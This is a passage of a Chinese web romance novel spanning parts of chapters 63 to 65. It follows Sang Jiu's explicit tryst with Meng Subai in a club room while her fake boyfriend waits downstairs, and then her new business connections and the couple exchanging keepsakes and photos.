“我们三禾只是表面上看着大大咧咧,内心如何,宋先生心里也清楚,她好不容易对您慢慢释怀了,我不想您的出现又给她希望让她难受,以前宋先生没有结婚,她跟着你旁人无话可说,但现在不同了,她以后会有新的生活,宋先生也不想她因为您,永远活在过去对吧?” 宋祁丝毫没有犹豫点头:“我明白桑老板的意思,我答应你。” 其实昨晚,也只是因为他恰好跟孟苏白谈事情,顺道去酒馆看看的。 他对俞三禾虽然没有那么强烈的爱情,但到底曾是他的女人。 宋祁对任何一个跟过他的女人,都很宽容。 甚至是……曾经喜欢过的女人。 桑酒看着男人一副面无表情的模样,也更加确定了自己的猜测。 “感谢宋先生高抬贵手,我也要跟您说声抱歉,上次是我人在港城,不得已才找您出面,以后不会打扰您了。” 宋祁却说:“桑老板言重了,我跟三禾……永远都是朋友,以后有任何事情都可以找我,即便我不出面,帮忙也是可以的。” “不必了。” 桑酒淡淡说了句,转身离开,还不忘吩咐李佑泽。 “半小时后,楼下等着。” 她包还挂在李佑泽身上,手里只拿了手机。 李佑泽应声时,孟苏白挑眉,望着桑酒离去的背影,眼底涌起一抹几不可察的占有欲- 推开隔壁包间的房门,里面一片漆黑。 “三禾?” 桑酒探头进去唤了一声,里面静悄悄地没有回应,估计人还睡着。 她心里不禁责怪宋祁,即便再没有感情,也不能把人就这样丢在这里睡觉吧? 门没有锁,也没安排人守着,万一有不怀好意的人进来怎么办? 正摸索着门口的开关时,身后冷不丁传来脚步声。 桑酒回头,还没看清来人身影,就被人搂着腰带了进去,房门也砰的一声被关上。 “唔——” 身子被重重压到墙上,随之而来的,是熟悉的热吻,急切咬住她的唇。 桑酒警惕的心,也瞬间放了下来。 早在男人搂过来时,她就闻出了那股隽永的沉香味道,双手本能搂在他腰间,闭上眼回吻过去。 扣在她颈后的手力度不轻,几乎将她整个身体提起,孟苏白此刻的吻无疑充满了醋意和占有欲,舌尖扫过她的上颚,唇吸着她的舌尖,齿咬着她的舌根,像是要将她拆吞入腹。 桑酒被迫仰起头挺起胸,偏头时眼镜刮到了眼睑,她气喘吁吁吃痛一声。 孟苏白便抬手去摘她鼻梁上的眼镜,丢到一旁柜台上,同时手护在她后脑勺。 即便如此,吻也没有停下一秒。 等吻够了,吻到她双腿发软,吻到颈后出了汗,吻到她唇瓣肿得跟果冻软弹时,孟苏白才依依不舍退出,沉重呼吸贴着她的唇,游移到她耳畔,连带着那冰冷的耳坠一同衔住。 吻着她的脖颈一路啃下。 在她又香又白的锁骨处留下一排印记 桑酒被咬得疼了,发出嘶声,人也瞬间清醒过来,慌乱中推了他一把。 “孟苏白!你属狼的吗?” 狐狸没这么爱咬人吧? 孟苏白沉重的身躯轻而易举又贴了过来,偏头含住她的唇,似咬非咬吮着,含糊了一声。 “嗯。” 桑酒抵着他胸膛使劲推,却被吻得胸闷气短,像是缺氧了一样眩晕。 “唔……三……禾……还……在……呢!” 要死! 要是三禾醒来看到这一幕,必定会笑她到明年。 而且,隔壁还有李佑泽跟宋祁在,万一他们也过来怎么办? 孟苏白失笑,急骤的吻稍稍停了下来,唇贴着她的耳垂低语。 “宋祁骗你的。” “什么?” “你闺蜜在左边那间房。” “靠!”这次,桑酒是真没忍住,直接骂人,“他妈宋祁是存心耍我是吧?” 她气呼呼的,作势要去找宋祁算账。 孟苏白笑着将她拉回,嗅着她颈间的香气。 “他不敢耍你。” “那……” “泱泱,你没看出,他是在给我献殷勤吗?” 扑洒在肌肤上的热气一颤一颤的,他笑意更深。 桑酒顿时愣住:“……” 原来,罪魁祸首是他啊! 她气得也低头去咬他下巴:“你告诉他了我们在一起了?” 孟苏白任凭她咬,还指引着她往喉结亲吻去。 “这种事,还需要我亲口说吗?” 明眼人都看得出他孟苏白对她的偏爱,只有她那个愚蠢的男朋友,以为他是她的财神爷。 桑酒听出他的嘲讽了,张口还真咬上他凸起的喉结。 “嘶——” 这下,孟苏白是真没抵住,却不是痛得,而是被咬出了反应。 他低头深吻住她的唇,又将她一把托抱而起,引导着她一双细腿夹着他的腰,用臂膀和掌心拖住她所有身心重量,一边吻着一边往沙发走去,中途还伸手按下开关。 房间骤然亮起,布局和隔壁一模一样,奢华古典。 桑酒被耀眼的光刺了一下眼,还未来得及睁开眼,就被他放到沙发上。 手里早就拿不稳的手机,哐当一声掉落在沙发上。 孟苏白单膝跪在沙发上,抵在她腿间移了过来,两手撑在她腰侧,俯身吻了下去,将她圈在沙发一角。 空间越窄小,仿佛更能感受到彼此。 如此舒适的地方,自然是更方便他发挥。 有了更舒适的地方,也更方便他发挥。 这几晚,他们都黏在一起,对彼此的身体已经熟到哪里更敏感都一清二楚。 灵活的手指娴熟摸去,解了沉甸束缚时,又急不可耐被他团住。 他空出的那只手,虎口捏着她的下巴,将她漂亮的脖颈线露出,在上面种出一片片鲜红。 “别……”桑酒知道他的坏心思,下意识往后一退,背脊抵着沙发,却是退无可退。 孟苏白一边吻着,一边惩罚她。 “怎么,怕被你男朋友发现?” 他昨晚便在她身上留下不少痕迹,但貌似位置留得还是太低了,被衬衫领遮住,毫无作用。 这次,他只执着于她耳后那一块软肉,细密又用力的吻,如大雨落下。 “不是……” 桑酒拿他丝毫没有办法,也不知道他为什么又突然吃醋了,干脆也不反抗了,由着他去。 “那他怎么也来了?” 沉甸甸在手,如此舒软,将心底那份不爽与醋意都从指缝里挤了出来,化为流向四肢百骸的酥麻,恨不能将怀里的人揉进自己的骨血。 桑酒的整洁的衬衫全被他揉乱了,身体深处也随着褶皱越深越颤抖起来,隐约有热。潮。涌。动。 孟苏白的指腹抵上来时,她耳边清晰地响起他喉结的吞咽声。 “BB,这么快?” 他沙哑含笑的声音,像是一道催情符,桑酒心跳激烈,下意识曲起腿时,冷不丁蹭到。 坚而硬的。 她涣散的瞳孔突然一聚:“孟苏白……” 他难道……要在这里…… 她有些慌了,恰在这时,一旁的手机铃声响起。 来电显示是李佑泽。 孟苏白垂眸,一眼就扫到了。 本就深暗的眸子更是阴晦,他捻着她那处,挑眉:“泱泱,你男朋友的电话。” 桑酒被他按得全身酥麻,整个人连说话的力气都没有了,哪里还管得了是谁的电话。 偏孟苏白抽出手指,湿润的指腹就要去滑动手机屏幕。 “别……”桑酒一把握住他的手指,声不成调恳求他,“别接……” 独属于她的潮湿和温度在她掌心蔓延,孟苏白低头吻在两人交握的手,舌尖将指腹的晶莹卷去。 继而意味深长地说:“不怕他久等?” “什么?”桑酒脑子已经完全经不起思考了。 孟苏白好心提醒她:“你刚才不是要他半小时后下楼?” 手机铃声灭了又响起。 才过去十五分钟,这就等不及了? 倒真是个听话的男朋友。 孟苏白这次没有心软,放开她的手,直接拿起手机,贴在她耳畔。 “告诉他,等着。” “……什么?”桑酒用力摇头,目光惊恐,“不要……” 要她现在这样跟李佑泽说话,还不如让她去死! 孟苏白勾了勾唇,掌心团着她沉甸的软,指腹捻着:“怎么,不舍得他等?” “……孟苏白!” 桑酒抬头直接咬上他脖子,像是泄愤,又像是在压制自己的酥痒难耐。 她从前怎么没发现,他坏起来是真可恶! 孟苏白只是凑在她耳边低笑一声。 “泱泱,你应该知道,半小时可不够。” 说完,拇指果断滑了接听—— 作者有话说:[狗头][狗头]某人越来越狗了! 第64章 屋内寂静得吓人。 孟苏白按了接听后, 直接开了扩音,手机扔到一旁,食指抵在唇边, 轻哄“嘘”了一声, 随即埋首吻在她一侧颈间香软, 拇指指腹抵着她因喘。息而吞咽的喉结处。 他一气呵成淡定恶劣得简直让人生气! 耳边骤然响起那头李佑泽的声音:“我出来了哈。” 桑酒死死咬住自己手背, 不让声音溢出, 另一只手悄悄往手机方向挪去,试图挂掉电话,冷不丁被孟苏白的大手扣住。 “嗯?”他低气音贴着她耳廓。 握着她的手, 危险下移。 桑酒惊呼一声, 又猛地把气息吞咽下去,生怕被李佑泽听到。 孟苏白继续咬着她脖颈的软肉, 流连忘返在颈窝锁骨处吮着, 心中感叹着她身上的香气好像永远都不会淡,从肌肤深处散发,吸入鼻腔、通过肺腑、浸入血液骨髓,麻痹着他的神经大脑, 控制着他想要将她揉碎的欲。念……他修长指尖使坏勾着, 桑酒一个没忍住,轻啊了一声。 “桑桑?”久久没有等到回复的李佑泽,发出疑问, “你怎么了?” 桑酒手被他禁锢着, 脑子里乱七八糟的完全动不了, 她只能将手背咬得更狠了些,一不小心直接疼得她眉心蹙成一团,眼泪都溢出, 喉间低唔声,像在雨夜里流浪的可怜小动物。 孟苏白闻声,微微抬起头,盯着她被紧紧咬住的手指,深邃潮红的眼眸闪过一丝心疼,随即俯首吻了过去,呼吸轻薄洒在她耳畔:“咬我。” 桑酒此时委屈愤懑极了,全身上下都被他掌控着、沉沦着,唯有手指痛到不行,好像骨头都咬碎了。 她脑子发蒙,松开手指,张嘴就咬上他的下唇。 同样的力度,直到齿间腥味蔓延。 孟苏白却仿佛不知道疼痛,沉眸闭眼,掌根未停,只眉心那颗美人痣轻轻一晃,浸着血珠的唇含住她舌尖,血珠瞬间被两人唇舌淹没。 他神情淡然正经到仿佛在翻阅一本巨著,目光一一扫过每一行、每一字,不放过她任何一丝反应,对电话那头男人聒噪的声音也恍若未闻,一心沉溺在温柔之乡。 “桑桑?你听得到我声音吗?”李佑泽开始自我怀疑,“难道信号不好?” 桑酒一边听着他的声音,一边被孟苏白折磨得快要崩溃了,双重羞耻在内心泛滥,只祈祷李佑泽自己把电话挂断。 也不知道过去了多久,终于,李佑泽掐断了通话。 桑酒松了口气,然而没一会儿,屏幕又亮了起来,不死不休一般缠着。 孟苏白淡定地又接通了电话。 桑酒直接气得狠狠抓了他一把。 没讲一丝客气。 孟苏白顿时闷哼一声,唇舌退出,停了一停,阴影下的深邃翻涌,无声挑了下眉。 想摊牌了? 桑酒撅起唇,腮帮子气鼓鼓,难以启齿的话,都用奶凶的眼神说了。 不是不怕疼吗? 孟苏白读懂了,眸色含笑,吻上她耳垂,气息缓而沉:“给你十秒,否则……” 他全身心退出时,桑酒有片刻愣神,还以为他大发散心了。 谁料下一刻,孟苏白直起身,膝盖依旧跪在沙发上,目光垂敛,锁在她脸上,长指捻向衬衫领口莹白的纽扣。 他开始单手解起了扣子。 “十……”那张性感的薄唇轻启。 男人英俊的脸不再温柔,更多的是充满侵略性与势在必得。 桑酒恍然明白,孟苏白给她的十秒,是用来脱衣服! 她目光落在他冷白修长的脖颈、胸肌……心跳加速,咽口水的声音也分外明显。 “九…” 直到李佑泽的声音再次打破这份暧昧沉寂。 “桑桑?” 犹如平地一声惊雷,她猛然回过神,手忙脚乱捡起手机。 “八…” 孟苏白淡然的气音飘入耳,桑酒感觉自己就像是被黑白无常追赶着逃生。 她知道,这次孟苏白说到做到。 “喂……”刚开口,便是一道颤音,桑酒赶忙捂住嘴,脸也瞬间红透。 “你怎么了?我已经下来了。” “六…” 桑酒闭眼,谎话信手拈来:“三禾心情不好,我哄哄她,要不……你自己开车回去,不用管我们。” “那你的包……” “三…” 纽扣解完,孟苏白脱下衬衫,随手一扔,欺身靠过了过去,呼吸沉沉,在她耳边危险低语:“二……” “你拿着!”桑酒猛地挂断电话,直接把手机关机,烫手山芋一般扔了出去。 男人温热的气息再次吻上来时,那声短促的“一”淹没在唇舌交融间。 桑酒将眼睛闭了起来,堵住了他。 头顶的水晶灯开始晃荡起来,搅动着一室光辉的旖旎,交缠的水声断断续续,桑酒的脖颈被握在温热的掌心,向后仰着,肌肤在灯光下泛出澳白的绸缎光泽,而她这张绸缎,浸着水润,染上殷红,被孟苏白熟练地翻来覆去,时而揉成一团压在沙发一角,时而翻面铺展开,时而高高提起晾着,得亏她柔韧性还不错,经得起这一波三折。 只不过到最后,她感觉整个人都不是自己的了- 包间洗手间响起花洒水声时,孟苏白正倚在洗手间门口给宋祁打电话。 “三少,你可算回我了。”那边,宋祁语气调侃,“人小男友在楼下等了个把小时了,三禾也醒了,正跟我闹着呢,你再不放人,我就真的拖不住了哈。” 孟苏白只手漫不经心扣着纽扣,冷清面容上全是餍足过后的慵懒愉悦,声音的情。欲也还未褪尽:“辛苦宋总了。” 挂断电话,他随意整理了下已经揉皱的衬衫,指尖拂过下巴时,一阵似有若无的幽香飘入鼻,与室内还未散去的浓烈不谋而合。 孟苏白一愣,鬼使神差地,曲起那两根长指,放到鼻息下,轻轻闭上眼,像是抽了一口烟,慢慢回味、沉迷。 这一生,好像还从未因什么而上瘾过。 此刻,只是稍稍回味一下,便觉得情难自控。 那股甜腻的幽香,好似有吞噬人理智的魔力,一瞬间又将他带回了刚才的缠。绵时刻。 桑酒裹着浴巾,拉开玻璃门出来时,一双腿还有些打颤,抬眼便看到孟苏白身高腿长倚在一旁,清绝骨相上神清气爽的模样,简直令人牙痒痒。 孟苏白偏头望过来时,眼底漾着宠笑:“抱歉,刚刚是突发状况,没有准备衣服。” 他原本只是被宋祁请来救命的,并没想过要在这里对她做什么,是她那个小男友太扎眼,跟在她身边像个小媳妇似的,让他极为不爽,才会醋意大发不受控制。 桑酒瞪了他一眼,尽是埋怨。 只是还氤氲眸子染着雾气,根本没什么杀伤力,反而多了几分娇媚缱绻。 孟苏白勾了勾唇,上前拦腰去抱她:“走不动了?刚说帮你洗,你还不乐意。” 桑酒搂着他的脖子无力靠在他肩上,低声询问:“那现在怎么办?” 衬衫外套还勉强能穿,就是贴身衣物已经完全没眼看了,更别说穿了。 孟苏白将她放到另一张干净的沙发上,揉了揉她的发:“泱泱想怎么办呢?让人送新的你也不愿意……” 桑酒好不容易恢复雪白的脸庞,埋在他胸前瞬间又羞红了:“我不要!” 让人送这种东西,不是赤。裸。裸告诉别人,他们刚刚干了什么天雷勾地火的事情吗? 孟苏笑意更深,搂着她轻轻拍了拍后背:“好,不要,那只能……” 桑酒仰起脑袋,素净冷白的脸庞,犹沾染着情。潮过后的娇媚,令人心驰荡漾。 孟苏白低头,亲了亲她还未消肿的唇,低声笑:“我帮BB洗。” 桑酒气息一紧。 当浴室里水流声再度响起时,她几乎要将脑袋埋进沙发里。 即便两人已经做了更亲密的事情,但一想到他温厚的掌心,修长的指正在搓揉着那一小块布料,还是有点羞愧难当。 桑酒简直不敢细想。 又过去十分钟,孟苏白勾着已经用吹风机临时吹干的内。裤,递给她。 她内衣裤向来都是成套的,黑色或者红色居多,这次好巧不巧穿着鲜艳的红,几乎跟她脸颊的血色不相上下。 薄薄一片镂空蕾丝,只中间那一片纯棉,被他用指腹摩挲着,像是在确认是否干透了。 “干了。” 桑酒感觉自己要自闭。 她一把夺下。 握在手里确实暖和灼热。 孟苏白抬手碰了碰她身上的浴巾:“怎么不换衣服?” 桑酒又猛然惊醒,刚刚只顾着被他感动去了,竟忘了换衣服。 “你……去门口等着!”她抬高浴巾挡了半边脸,手指了指门,又警告了一句,“不准偷看!” “知道了,”孟苏白摸了摸她头发,笑她,“傻猪猪。” 桑酒也觉得,自己在他面前,一言一行都慢半拍,傻得不像自己了。 她迅速换上自己的衣服,又跑到洗手间对着镜子仔仔细细检查了一番,还好今天是全素颜过来,看不出什么异样,除了唇色更加红了几分,像刚吃完川味麻辣火锅被辣的,衬衫扣到最上面的扣子,也还能遮住斑驳暧昧的印痕,如果她脖子扭动幅度不大的话。 头发扎了几次,也扎不出刚刚随手的一挽,总觉得哪里怪怪的,干脆不扎了,放下来,藏在脖颈间,还能遮挡一丝春色。 好不容易收拾完,又过去了十分钟。 孟苏白也没有催促她,手里勾着那副眼镜,长腿交叠靠在玄关不急不躁等着,听到她脚步声时抬眸望了过来。 他朝她勾了勾手指。 桑酒碎步走了过去,声音依旧含着娇羞:“可以走了。” 孟苏白却将她拉入怀,微微俯身,认真地把眼镜架到她完美的鼻骨上,垂眸盯着看了半晌,眸色半眯:“很帅。” 桑酒顿时眼睛一亮:“真的吗?我还没戴过眼镜呢。” 孟苏白揉着她的耳垂,笑问:“喜欢?” 桑酒点头,又习惯性抚了抚镜腿:“就是有一点点大。” 她略微低头,镜框会微微下垂,但也还好,不会完全掉下来。 “太小了,耳朵会夹痛,”孟苏白撩开她耳边的长发,声音沉哑,“喜欢,以后就戴这副。” “这是……要送我?” “嗯。” “你送了我很多东西了,眼镜、项链、手表,还有……那枚领带夹,”桑酒细数,忽然发现,“我好像没有送过你什么。” 孟苏白笑了笑,低头亲了亲她的唇。 “你已经把最好的送我了。” 桑酒却忽然想起什么,挽起衣袖,她取下手腕上那串小紫叶檀串,戴到孟苏白手上,原本在她手腕要缠三圈的珠串,到他手上两圈恰好。 “我也没什么可送你的,这是我戴了很多年的护身符,虽然没有你送的那些礼物十分之一贵重,但于我而言,是它陪伴了我无数个难熬的日夜,以后……万一我不在你身边,你也可以……” 她话还没说完,便被孟苏白低头用吻堵住。 桑酒眨了眨眼,并没有推开他,因为感觉到他这次的亲吻没什么侵略性,只是温柔含着,与她唇舌交融。 就这样又认真安静吻了好一会儿,两人才依依不舍分开。 桑酒有些气喘吁吁,趴在他怀里轻轻呼气。 再这样下去,今天是走不了了。 孟苏白抹着她水润柔软的唇,垂阖的眼睫下,目光凝重:“不准说这种胡话。” “就随口说的……”桑酒语调绵绵,“那你要不要吗?” 孟苏白抬起她手腕,指腹抚着她曾经的伤口:“不用遮了?” 桑酒转着手腕给他展示:“不仔细看已经看不到疤痕了,而且我已经不需要了,你看你送我的腕表也刚好能遮住,只是这珠串是我妈妈特意去寺庙帮我求的,开过光,能保平安。” 孟苏白摇头:“这是你妈妈的一片心意,我怎么能要?” 他作势要取下还给她,却被一把摁住手腕。 “孟苏白!”桑酒抿了下唇,“我全身上下也就这个对我意义非凡了,你要是不要,那我只能把我的酒馆卖了,看看能不能买一副袖扣,或者一枚戒指送你。” 孟苏白无奈一笑,点点头:“好,我收下。” 他亲了亲她额头,又抬起她手腕,亲吻那几条微微凸起的疤痕上,他吻得虔诚深情。 “以后,就由我来保护你。” 桑酒环住他的腰身,仰头笑容甜蜜:“我们这是不是叫作……交换定情信物?” “嗯。”孟苏白低头,额抵着她的眉心轻轻蹭了蹭,眉眼温柔如春风,轻声调侃,“桑小姐,再不走,你男朋友就要找上门来了。”—— 作者有话说:可怜的三禾,可怜的佑子,桑桑妥妥的见色忘友啊![狗头叼玫瑰] 第65章 桑酒笑容一滞, 慌忙从孟苏白怀里退出。 “对哦,我得走了!” 她竟然把李佑泽跟俞三禾忘得一干二净了! 可真要走了,孟苏白又不舍, 拽住她手腕:“不跟我一起?” 桑酒摇头:“今天不行, 周末下午, 酒馆会很忙。” “那晚上我去接你。” “晚上也不行……”桑酒支吾了一下, “小月说她最近天天独守空房, 很可怜的……” 实则是明早约了家庭会议,她不能让妈妈发现她夜不归宿。 “而且……我都好几天没睡个好觉了……” 自从两人在一起后,每晚都要黏黏糊糊到后半夜, 也不知道他哪儿来的精气神, 明明白天要工作开会甚至出差忙个不停,到了晚上还有那么多精力折腾她。 孟苏白揽住她肩膀, 低声笑, 只能说好。 一个女孩子,确实孤单,更何况是她妹妹,他能体谅。 谁让他的泱泱也是个大忙人呢。 但也只能体谅一个晚上。 “明天中午我来接你, 有一场重要饭局, 需要女伴。” “啊……我吗?” “难道你想我带别的女人?” “不是……就是……”桑酒以为又是见家长。 孟苏白揉了揉她的发:“放心,都是生意上的伙伴,不用有压力。” 桑酒这才应下, 依依不舍道别后, 径直去找了俞三禾。 而在会所楼下停车场等了一个多小时的李佑泽, 在开了数十次牌局后,终于有些不耐烦了。 他再次拨了桑酒的电话,发现还是关机, 正想着要不要问问宋祁,便看到那两位姑奶奶终于姗姗来迟,出现在车门口。 也不知道两人凑在一起嘀嘀咕咕说什么,表情一惊一乍的,完全看不出半点悲伤犹豫。 车门被拉开的一瞬,两人脸色突地同步一变,笑容消失,像川剧变脸一样精彩。 “李老板!久等啦!”俞三禾的声音欠欠的。 桑酒眼皮跳了跳,只觉头大,一股脑钻进驾驶位,根本不看任何人,又下意识将西装外套拢紧了些。 李佑泽却问她:“手机怎么关机了?” 她心虚回:“没电了,关机了。” “哦,”李佑泽打量了她两眼,“你……” “……我怎么了?”桑酒被他盯得心里发毛。 李佑泽想了几秒,摇了摇头。 其实他也说不上来怎么回事,只是觉得眼前的桑酒,和刚才来时的桑酒不太一样,甚至和从前的桑酒也不一样。 难道是因为头发放下来,看起来温软一些? 气氛正诡异时,俞三禾拍了一下他的肩:“是不是觉得我们桑桑更漂亮了?” “三禾!”桑酒轻声制止。 却没有成功。 俞三禾丝毫不给发小面子:“再漂亮也不是你的了,谁让你当初不珍惜!” 桑酒:“……” 李佑泽也早已习惯了俞三禾的冷嘲热讽了,说得轻松:“那你呢,倒是珍惜了几年,又有什么用呢,还不是为了男人要死要活。” “哈哈!”俞三禾头顶天降大锅盖,又不能捅破闺蜜,只能把气撒在李佑泽身上,“要你管!你哪只眼睛看见我为男人要死要活了?” “不然磨磨蹭蹭这么久不出来,我说你该不会是拉着桑桑一起跟祁哥求情吧?” “李佑泽,你要死啊!”俞三禾瞬间怒了。 李佑泽继续:“这事传出去,我看你俞老板面子怎么挂。” 俞三禾也是被气笑了:“你他妈现在就笑吧,以后有你哭的……” “三禾!”桑酒一个紧急刹车,叫住了俞三禾这个大漏勺。 俞三禾吓了一个激灵,陡然捂住嘴:“干……干嘛?” “别吵了,头疼,”桑酒通过后视镜给她眼色,“今晚去我家睡吗?” “真的?”俞三禾求之不得。 刚刚在会所,她随便扒拉了一下桑酒的衣领,好家伙,根本没眼看! 不难想象这女人消失的这一个小时里,是如何干柴烈火!激情澎湃! 更牛逼的是,这女人竟还晾着男友在楼下苦苦等着,虽然是个假男友吧,但想想就觉得很刺激。 俞三禾可太想听细节了。 当晚缠着桑酒各种盘问,一个捶床嗷嗷叫,一个羞得骂闭嘴,疯狂闹到三更半夜。 隔壁桑月被吵得直接来敲门,披头散发探着脑袋。 “姐,我不管,我也要听……”- 翌日,桑酒睡到大中午,孟苏白来接她时,眼底的淤青还未散去,粉底都遮不住。 她一钻进后座,就直接趴到孟苏白怀里,哈欠连天,说要补觉。 孟苏白把玩着她的指尖,笑问:“这是怎么回事?昨晚我可没折腾你。” 桑酒在他怀里蹭了蹭,欲哭无泪。 被两个八卦的女人缠上,比被他缠上还要可怕! 孟苏白,搂着哄睡:“晚上还是去我家吧,我保证不打扰你睡觉。” 大不了先吃饱,再熬夜加班。 后来的几日,桑酒越发忙碌起来,几乎都泡在孟苏白家里。 那日孟苏白带她去的,是他亲自组的一场私人饭局,能出席的都是海城上流社会的大人物,那也是桑酒第一次感受到人脉的重要性,以往,她通过层层关系才能勉强搭上一些小公司人物,但这一刻,孟苏白直接将她带到了海城大人物中心。 桑酒没有以他女伴的身份出席,孟苏白介绍时,也是提及她好久不見酒馆老板的身份,但在座又有谁看不出来两人关系,也十分诧异,向来高不可攀的孟家三少,会为了一个女人,亲自组这样一场局。 敬酒自我介绍时,桑酒表面虽然镇定自若落落大方,实则内心早已慌得一批,生怕自己表现不好,给他丢了脸面。 但好在在座的,似乎都是孟苏白信得过的人,还有宋祁也在场。 大概是为了不让她紧张,虽然她对宋祁印象并不怎么好。 但有一个熟人,便能更容易破局。 当然,那晚让桑酒印象最深刻的,是坐在她身旁一位清冷霸气的女强人,气场强大到令桑酒钦佩不已,她之前就在新闻电视里见过她——周氏集团董事长、森罗酒店的老板,毕竟在海城扎根了近十年,多少还是有些了解的,但只能说百闻不如一见,仅几句话交谈,桑酒就被女人冷傲飒爽中的温柔给吸引了,将她奉为自己追逐的偶像! “她真的好漂亮好厉害!她旁边那位就是她丈夫对不对?他们看起来好般配哇!”回到樾华璟后的桑酒,克制不住激动的心,“今天的饭局,是你特意为我组的吗?” 孟苏白坐在办公椅上处理文件,头也未抬回了一声:“嗯。” 桑酒忍不住上前,坐到他腿上,气声若有若无地撩人:“怎么突然给我介绍起人脉了?” 她的微信一下子就变得矜贵起来,因为涌进来了十几个大人物,那位周董事长甚至亲自跟她咨询了一些关于葡萄酒的话题,还要把森罗酒店行政酒廊的酒单升级项目交给她。 孟苏白单手搂着她腰,温热气息在她耳后游走:“你不是说,以后想把工作重心放在酒宴策划上,想开个宴会策划工作室吗,我听宋祁说,你平常大部分客源,都是你那位李老板在牌桌上拉过来的?” “嗯……怎么了?” “不怎么。” 桑酒觉得他在含沙射影,但她没有证据。 “其实,开工作室这么大的事情,我只是随口一提……” “我觉得挺好,”孟苏白吻她耳垂,声音一本正经,“我们泱泱有这个实力,更何况,有我给你兜底,你有想法就只管去实行。” 桑酒从没想过有一天,自己脑子里那些天马行空的想法会得到认可,甚至这个人在她还在迷茫时,已经当件正事办了,她心底的野心也在这一刻被释放被满足。 从前桑酒只觉得自己需要学习的东西有很多很多,却不知道从何开始,而孟苏白此时就是她的引路人,高效率开始帮她规划铺路,短短几天时间,她跟着他学了不少知识。 有孟苏白在,她的工作室计划也进行的很快,如果有正规的工作室,相信以后能接的订单也会越来越好。 桑酒打算把酒馆二楼一间包间直接改造成工作室,这样不但可以节约成本开支,还能与酒馆捆绑营销,也算相辅相成了。 两人在一起的时光,从大半时间黏糊在床上,逐渐转移到他的书房。 海城的十月,阳光明媚,温柔日光洒在阳台落地窗前。 桑酒很享受窝在孟苏白怀中在这里看书,每每遇到疑惑只需稍稍抬头,便能得到最完美的解答。 他是世间最好的恋人,会亲手领着她一步步前进。 在她难以理解时,总是耐心一点一点讲解,在她恍然大悟明白时,又会揉着她的脑袋,引以为自豪地夸她:“我们泱泱真聪明。” 聪明。 桑酒当然知道自己从小就聪明,她学什么东西都快,也很投入。五六岁的时候,舅舅发现她爱画画,请了村里一位退了休的阿奶陪她画画,那位阿奶曾是附近学校的美术老师,但其实什么都教,给桑酒启蒙美术时,也会顺带教一些其他的,所以她从小成绩也是名列前茅,只是回到桑家后,桑志远一心想她出去打工挣钱,就把她丢到最差的学校,桑酒那时候自己也有些自暴自弃,才导致学业一塌糊涂。 其实,桑酒是有些渴望读高中上大学的,最美好的年纪在最干净的校园,无忧无虑又有自己的思想,可以做自己想做的事,学自己感兴趣的东西,甚至自由谈一段浪漫的恋爱,就像桑月那样,她这辈子做得最正确的事情,大概就是当初桑志远不在后,哪怕家里欠了一屁股债,她也坚持让桑月去县城读初中,鼓励妹妹好好学习,最终考入市重点高中,再是大学。 因为自己过早进入过社会,知道那条路有多混乱黑暗,她不想妹妹也掉入其中。 再后来,当她有一点赚钱能力后,她也想过重新学习,但好像除了画画,其他的对她而言,早已陌生到不知从何拿起。 哦,画画,桑酒忽然想起一件重要事情来。 “我曾经画过你。” 她打开手机,从相册里找出一个专门备注Kingsley的合集,点开,往下划拉着。 孟苏白低眸看去,一眼瞥了个大概,不禁挑眉,唇边笑意浮起。 “这些是什么?”他按住她手指,播放了其中一个视频—— 是他在联合国工作时的一些画面剪辑合集。 孟苏白扶额:“这是……” “你不知道吗?”桑酒轻笑,“这都是我从网上下载下来的,我从前竟不知道,我们孟顾问在网上很火嘛,还有粉丝呢,啊——我妹就是你的粉丝,她说大学的时候,你就是她的偶像。” 孟苏白眯起眸,一脸无奈:“我真不知道。” “我也不知道呀,早知道有清晰度这么高的孟先生,我就不用抱着几张陈年旧画度过,以解相思了。” “什么画?”孟苏白越发好奇,揽着她腰的臂膀略微收紧,下巴搁在她肩上,对着她耳畔呼气。 桑酒只觉肌肤一痒,下意识蜷了蜷身子,往他怀里钻得更深。 她坐在他腿上,完全能感受到他整个人此刻的变化,体温越来越高、抵着她腿心的,触感越来越真实,游走在她腰上的指腹更是滚烫灼人。 他抱着她贴着她时,手好像从来都不会老实,与他本人矜冷的气质反差太大! 桑酒屏着气息翻出那三张手绘画照片,一张是他身穿黑色冲锋衣仰头看维港烟花时的刹那,一张是他身穿白色衬衫,站在甲板上凭栏瞭望的姿态,还有一张是他和她一起,站在望远镜前,他从身后揽着她,手把手教她调节望远镜。 寥寥几笔,却深入骨髓勾勒出他的气质和五官,当真是入木三分。 孟苏白来回切换那三张画,眸子里仿佛揉入一段暖光:“什么时候画的?” “前两张是在浮屿号上画的,就是我们参加晚宴前的那一天,第三张……是我去法国那段时间画的。” 桑酒又翻出当年Chris用无人机拍的那段视频,也不知道为什么过了四年再看,画质竟然有些不清楚了,但还是能一眼看出两人的轮廓,如恋人相拥着。 “我那时候,很怕自己会忘了你的样子,万一哪天在街上遇见,认不出来,错过怎么办?” 仿佛在共同回忆当年的往事,两人循环看了好几遍,孟苏白垂首,额角蹭了蹭她:“你知道,Vicoria为什么会认出你吗?” 桑酒摇头,她也很好奇。 “等着。”孟苏白起身,朝办公桌那边走去。 桑酒就撑着下巴,看着他高大的背影,黑色衬衫一截收在西装裤里,宽肩窄腰,视觉上冲击很强烈,光是一个背影就令人心潮澎湃。 好像知道她喜欢他穿黑色衣服之后,他的居家服和衬衫也都是高贵的黑色。 孟苏白弯腰拉开办公桌的一侧抽屉,翻出一个相框。 “你应该也很久没有见过了。”他眸子含笑走过来,将相框递给桑酒。 桑酒眸光一亮,看着照片里身穿明黄礼服的自己,眼中惊讶更甚。 “你怎么会有?” 照片里的她,端着一杯红酒,气质明媚又冷艳,看起来更像是用什么专业摄影相机拍的,氛围感十足,可桑酒又想不起那晚,两人什么时候拍过照,毕竟当时他们都面色重重各怀心事,因为即将到来的分别,谁都没有想过要合影一张留念。 “贺煜无意中得到的,”孟苏白重新揽她入怀,“我很庆幸,那孤独难捱的四年,有这张照片陪着。” “我也是,”桑酒笑,“甚至后悔,当初怎么没有多拍点照片呢,毕竟孟先生真的很帅很帅。” 耳边的呼吸声又沉重了两分:“就这么喜欢?” “嗯。”桑酒坦然承认自己对他这张脸的迷恋,“喜欢这颗痣,喜欢你的眉眼,喜欢你的鼻梁,也喜欢这张看起来就很柔软的唇……” 指腹拂过凸起的喉结时,孟苏白吞咽了一下。 “孟苏白,我们拍些照片好不好?” “好。” 四年前的遗憾,总算要在这一刻被弥补。 两人借着明媚的阳光,拍了不少亲密照,有拥抱贴贴的、有接吻缠绵的、还有比心搞笑的…… 